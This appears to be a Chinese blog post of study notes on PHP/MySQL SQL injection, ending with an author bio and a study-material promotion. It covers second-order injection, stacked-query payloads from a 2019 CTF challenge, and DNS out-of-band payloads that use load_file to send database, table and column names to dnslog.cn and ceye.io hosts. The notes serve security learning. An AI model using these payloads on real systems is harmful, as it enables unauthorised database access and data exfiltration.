SQL注入四-PHP应用&amp；SQL二次注入&amp；堆叠执行&amp；DNS带外&amp；功能点&amp；黑白盒条件

最新推荐文章于 2024-08-11 23:08:10 发布

2401_83739411

最新推荐文章于 2024-08-11 23:08:10 发布

阅读量734

点赞数 19

分类专栏： 2024年程序员学习文章标签： sql php 数据库

本文链接：https://blog.csdn.net/2401_83739411/article/details/137660596

版权

2024年程序员学习专栏收录该内容

288 篇文章 1 订阅

订阅专栏

`#PHP-MYSQL-二次注入-DEMO&74CMS
1、DEMO-用户注册登录修改密码
2、CMS-74CMS个人中心简历功能
黑盒思路：分析功能有添加后对数据操作的地方（功能点）
白盒思路：insert后进入select或update的功能的代码块
注入条件：插入时有转义函数或配置，后续有利用插入的数据

#PHP-MYSQL-堆叠注入-DEMO&CTF强网
堆叠注入触发的条件很苛刻，因为堆叠注入原理就是通过结束符同时执行多条sql语句，
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL，所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库：MYSQL MSSQL Postgresql等

-2019强网杯-随便注（CTF题型）
';show databases;
';show tables;
';show columns from 1919810931114514;
';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

#PHP-MYSQL-带外注入-DEMO&DNSLOG
0.注入条件
ROOT高权限且支持load_file()
有部分注入点是没有回显的，所有读取也是没回显的，采用带外
1.使用平台
http://ceye.io
http://www.dnslog.cn
2.带外应用场景：
解决不回显，反向连接，SQL注入，命令执行，SSRF等
SQL注入：
select load_file(concat(‘\\’,(select database()),‘.7logee.dnslog.cn\aa’));
and (select load_file(concat(‘//’,(select database()),‘.69knl9.dnslog.cn/abc’)))
// 查询当前数据库
id=1 and load_file(concat(“\\”,database(),“.dbuh8a.ceye.io\asdt”))

//查询其他数据库
id=1 and load_file(concat(“\\”,(select schema_name from information_schema.schemata limit 0,1),“.dbuh8a.ceye.io\xxx.txt”))
“”"
由于该DNS记录只能回显一个字段，所以因该使用limit，第一个参数是查询起始位置，第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
“”"

//查询版本号
id=1 and load_file(concat(“\\”,version(),“.dbuh8a.ceye.io\xxx.txt”))

//查询当前数据库demo01中第一个表名
id=1 and load_file(concat(“\\”,(select table_name from information_schema.tables where table_schema=‘demo01’ limit 0,1 ),“.dbuh8a.ceye.io\xxx.txt”))

“”"
由于该DNS记录只能回显一个字段，所以因该使用limit，第一个参数是查询起始位置，第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
“”"
//查询security数据库emails表下第一个列名
id=1 and load_file(concat(“\\”,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),“.dbuh8a.ceye.io\xxx.txt”))

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。